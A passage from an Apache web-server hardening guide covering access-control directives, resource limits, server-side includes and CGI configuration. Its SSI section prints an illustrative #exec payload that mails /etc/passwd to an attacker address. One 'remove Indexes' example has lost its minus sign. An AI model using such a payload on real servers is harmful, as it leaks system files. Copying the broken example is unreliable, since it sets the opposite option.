Configuring a web server is like configuring an email or DNS server ? small changes can have unforeseen consequences. Most web security problems are caused by configuration errors rather than exploits of the Apache code.
I mentioned that Apache's configuration files could be found under /etc/httpd/conf, /usr/local/apache/conf, or some less well-lit place. The most prominent file is httpd.conf, but you will also see access.conf and srm.conf. These are historic remnants from the original NCSA web server. You can put any of Apache's configuration directives in any of these files. In practice, people usually throw everything into httpd.conf. If you'd like to separate security-related directives from others, put them in access.conf. This has some advantages: access.conf is smaller, an editing error won't break everything else, and security settings are more visible. But everything will work fine if you make your changes in httpd.conf.
|
Any time you change Apache's configuration, check it before restarting the server:
# apachectl configtest
If this succeeds, start Apache:
# apachectl start
Before starting Apache, let's see how secure we can make it.
To see what options your copy of Apache understands, run the following:
httpd -L
This reflects the modules that have been included, either dynamically or statically. I'll discuss the core options later. You will need to include other modules to understand their special options.
In "Securing Apache's File Hierarchy," I covered which user and group IDs to use for Apache and its files. Apache is started by root, but the runtime ownership of all the Apache child processes is specified by the User and Group options. These directives should match your choices:
User apache Group apache
|
The top of the server directory hierarchy is ServerRoot:
ServerRoot /usr/local/apache
The top of the web-content hierarchy (for static HTML files, not CGI scripts) is DocumentRoot:
DocumentRoot /usr/local/apache/htdocs
By default, Apache listens on all IP addresses. Listen specifies which IP addresses and/or ports Apache should serve.
For initial testing, you can force Apache to serve only the local address:
Listen 127.0.0.1
or a different port:
Listen 81
This is useful if you need to keep your current server live while testing the new one.
Address and port may be combined:
Listen 202.203.204.205:82
Use multiple Listen directives to specify more than one address or port. You may modify your firewall rules to restrict access from certain external addresses while testing your configuration. In Apache 2.0, Listen is mandatory and replaces the old BindAddress directive.
Apache controls access to resources (files, scripts, and other things) with the container directives: Directory, Location, and Files. Directory applies to an actual directory in the web server's filesystems. Location refers to a URL, so its actual location is relative to DocumentRoot (Location / = DocumentRoot). Files refers to filenames, which may be in different directories.
Each of these has a counterpart that uses regular expressions: DirectoryMatch, LocationMatch, and FilesMatch.
Within these containers are directives that specify access control (what can be done) and authorization (by whom).
I'll trot out least privilege again and lock Apache down by default (put this in access.conf if you want to keep httpd.conf pristine):
<Directory /> Options none AllowOverride none Order deny,allow Deny from all </Directory>
By itself, this is a bit extreme. It won't serve anything to anyone, even if you're testing from the same machine. Try it, just to ensure you can lock yourself out. Then open the door slightly:
<Directory /usr/local/apache/htdocs> Deny from all Allow from 127.0.0.1 </Directory>
Now you can use a command-line web utility (such as wget, lynx, or curl) or a graphic browser on the same box to test Apache. Does it return a page? Do you see it logged in access.log? If not, what does error_log say?
Table 8-3 lists the possible values for Options.
Value |
Description |
---|---|
All |
Allow all but MultiViews. You don't want to be this generous. This is the default! |
ExecCGI |
Allow CGI scripts. Use sparingly. |
FollowSymLinks |
Follow symbolic links. This is a slight efficiency gain, since Apache avoids a stat call. |
SymLinksIfOwnerMatch |
Follow symbolic links only if the target and the link have the same owner. This is safer than FollowSymLinks. |
Includes |
Allow SSI, including #exec cgi. Beware. |
IncludesNoExec |
Allow SSI, but no #exec or #exec cgi. Use this if you only want file inclusion. |
Indexes |
Show a formatted directory listing if no DirectoryIndex file (such as index.html) is found. This should be avoided, since it may reveal more about your site than you intend. |
MultiViews |
This governs content negotiation (e.g., multiple languages) and should otherwise bedisabled. |
Preceding an option value with a minus (-) removes it from the current options, preceding it with plus (+) adds it, and a bare value is absolute:
# Add Indexes to current options: Options +Indexes # Remove Indexes from current options: Options Indexes # Make Indexes the only current option, disabling the others: Options Indexes
Table 8-4 lists the directives to help avoid resource exhaustion from Denial of Service attacks or runaway CGI programs.
Directive |
Default |
Usage |
---|---|---|
MaxClients |
256 |
Maximum number of simultaneous requests. Make sure you have enough memory for this many simultaneous copies of httpd, unless you like to watch your disk lights blink furiously during swapping. |
MaxRequestsPerChild |
0 |
Maximum requests for a child process (0=infinite). A positive value helps limit bloat from memory leaks. |
KeepAlive |
on |
Allow HTTP 1.1 keepalives (reuse of TCP connection). This increases throughput and is recommended. |
MaxKeepAliveRequests |
100 |
Maximum requests per connection if KeepAlive is on. |
KeepAliveTimeout |
15 |
Maximum seconds to wait for a subsequent request on the same connection. Lower this if you get close to MaxClients. |
RLimitCPU |
soft,[max] |
Soft and maximum limits for seconds per process. |
RLimitMEM |
soft,[max] |
Soft and maximum limits for bytes per process. |
RLimitNPROC |
soft,[max] |
Soft and maximum limits for number of processes. |
LimitRequestBody |
0 |
Maximum bytes in a request body (0=infinite). You can limit uploaded file sizes with this. |
LimitRequestFields |
100 |
Maximum request header fields. Make sure this value is greater than the number of fields in any of your forms. |
LimitRequestFieldSize |
8190 |
Maximum bytes in an HTTP header request field. |
LimitRequestLine |
8190 |
Maximum bytes in an HTTP header request line. This limits abnormally large GET or HEAD requests, which may be hostile. |
If you don't need to provide user directories on your web server, disable them:
UserDir disabled
You can support only some users:
UserDir disabled UserDir enabled good_user_1, careful_user_2
If you want to enable all your users, disable root and other system accounts:
UserDir enabled UserDir disabled root
To prevent users from installing their own .htaccess files, specify:
UserDir /home/*/public_html <Directory /home/*/public_html> AllowOverride None </Directory>
Static content includes HTML, JavaScript, Flash, images, and other files that are served directly by the web server without interpretation. The files and their directories need to be readable by the user ID running Apache (apache, in our examples).
Static files don't pose much of a security threat on the server side. The web server just reads them and sends them to the requesting browser. Although there are many security issues with web browsers, client security is outside the scope of this chapter. Watch your browser vendor's web site for security news, patches, and new versions.
A step up from purely static pages, server-side includes allow inclusion of other static content, special dynamic content such as file-modification times, and even the output from the execution of external programs. Unlike CGI scripts, there is no way to pass input arguments to an SSI page.
Apache needs to be told that an SSI file is not a lump of inert HTML, but should be parsed for SSI directives. First, check that includes are permitted for at least some files in this directory. Add this to httpd.conf or access.conf:
<Location /ssi_dir> Options IncludesNoExec </Location>
One way to differentiate HTML from SSI files is to use a special suffix like .shtml and associate it with Apache's built-in MIME type for parsable content:
AddType application/x-server-parsed .shtml
or just assign the Apache handler directly:
AddHandler server-parsed .shtml
Using this tells the world that your pages use server-side includes. If you'd like to conceal this fact, use another suffix. One trick I've seen is to use .html for static text and .htm for SSI text:
AddHandler server-parsed .htm
A little-known feature of Apache is its ability to use the execute bit of a file to indicate that it should be parsed. I've used this to mix static and parsed HTML files in the same directory with the same suffix. The directive is as follows:
<Location /ssi_dir> Options +IncludesNoExec XBitHack full </Location>
The extra attribute full tells Apache to check the modification time of the included file rather than the including file. To change an HTML file into an SSI file, just use the following:
chmod +x changeling.html
The most basic use of SSI is for inclusion of static files. For example, a site can include a standard header and footer on each page:
<!--#include virtual="header.html"--> . . . variable content goes here . . . <!--#include virtual="footer.html"-->
What can you do with SSI? Give the virtual attribute a relative URL to include that file's content:
<!--#include virtual="included_file.html"-->
You can also include the output of a local CGI script by giving its relative URL:
<!--#include virtual="/cgi-bin/script"-->
If Options Includes was set, you can also execute any external command on the web server, which is quite dangerous. The following is a benign example:
<!--#exec cmd="ls -l /"-->
SSI can't get arguments from the client, so any command and arguments are fixed. Since you specify the commands, you might feel safe. However, anyone with write access to /ssi_dir could upload an HTML file containing an SSI #exec string:
<!--#exec cmd="mail evil@weasel.org < /etc/passwd"-->
If you allow people to upload HTML (say, in a guestbook application), forbid SSI execution in the target directory, and untaint the input (see the "Forms and Input Data Validation" section).
Similar vulnerabilities have been seen in utilities that create HTML, like email digesters and web-log analyzers. If you must have SSI, but don't need executable external commands, always exclude them:
<Location /ssi_dir> Options IncludesNoExec </Location>
|
The CGI is a protocol for sending queries and data via HTTP to a program on the web server. The CGI program can be written in any language, interpreted or compiled. Surprisingly, there is still no final RFC that defines CGI. CGI 1.1 is described at http://hoohoo.ncsa.uiuc.edu/cgi/interface.html. Also, see The CGI Programming MetaFAQ (http://www.perl.org/CGI_MetaFAQ.html).
The CGI protocol doesn't specify how the web server should communicate with the CGI program. There have been two main solutions:
Apache receives a CGI request, opens a two-way pipe to an external program, sends it the CGI input data, and returns the program's output to the client. As a separate process, the program can crash without bringing down the web server. The down side is that it's relatively slow to start a new process.
The program is rewritten as an Apache module and incurs its startup cost only when an Apache process starts. This is much faster than an external program and has access to Apache's internals and other modules. The most popular modules for CGI in Apache are the interpreter engines for Perl (mod_perl) and PHP (mod_php).
There are a couple ways to tell Apache to treat a file as a CGI script rather than a static file:
Treat every file within a directory as a CGI script:
ScriptAlias /cgi-bin /usr/local/apache/cgi-bin
|
Allow some files in a directory to be CGI scripts:
<Location /usr/local/apache/mixed> Options ExecCGI </Location>
Mixing static files and scripts is dangerous, since a configuration typo could cause Apache to treat a script file as a normal file and allow users to view its contents. If you do mix files and scripts, you need to tell Apache which files are CGI scripts and which are static files. Use a file suffix or some other naming convention for the script. We'll see how to protect files shortly.
|
Expect trouble if users can upload files to a directory and execute them as CGI scripts. Consider using suEXEC (described next) or limiting CGI scripts to directories where you can see them.
Normally, CGI programs will all be run with Apache's user ID and group. If you have multiple users and virtual hosts, this lets them run each other's scripts and access each other's data. What if you have a web-hosting service and want to let your customers run their own CGI scripts, but no one else's? That's a job for Apache's suEXEC facility.
suEXEC is a setuid root program that wraps scripts to run with a specified user ID and group ID. Scripts need to pass a number of security guidelines before they will be accepted. As with any setuid root program, beware of potential dangers from any exploit or botched configuration. Documentation is at http://httpd.apache.org/docs-2.0/suexec.html.
FastCGI is an alternative for creating CGI programs without the startup time of a standalone program, but also without the complexity of an Apache module. The protocol is language independent, and libraries are available for the most common web languages. Details are available at www.fastcgi.com.
FastCGI falls somewhere between standalone and module-based CGI. It starts an external CGI program, but maintains a persistent connection through the Apache module mod_fastcgi.
Scripts need slight modification to work with FastCGI. You must have set Options ExecCGI in httpd.conf to enable a FastCGI application, just as you would any other CGI program. If you want to allow use of suEXEC with FastCGI, set FastCGIWrapper On. FastCGI scripts are vulnerable to the same problems as any CGI scripts.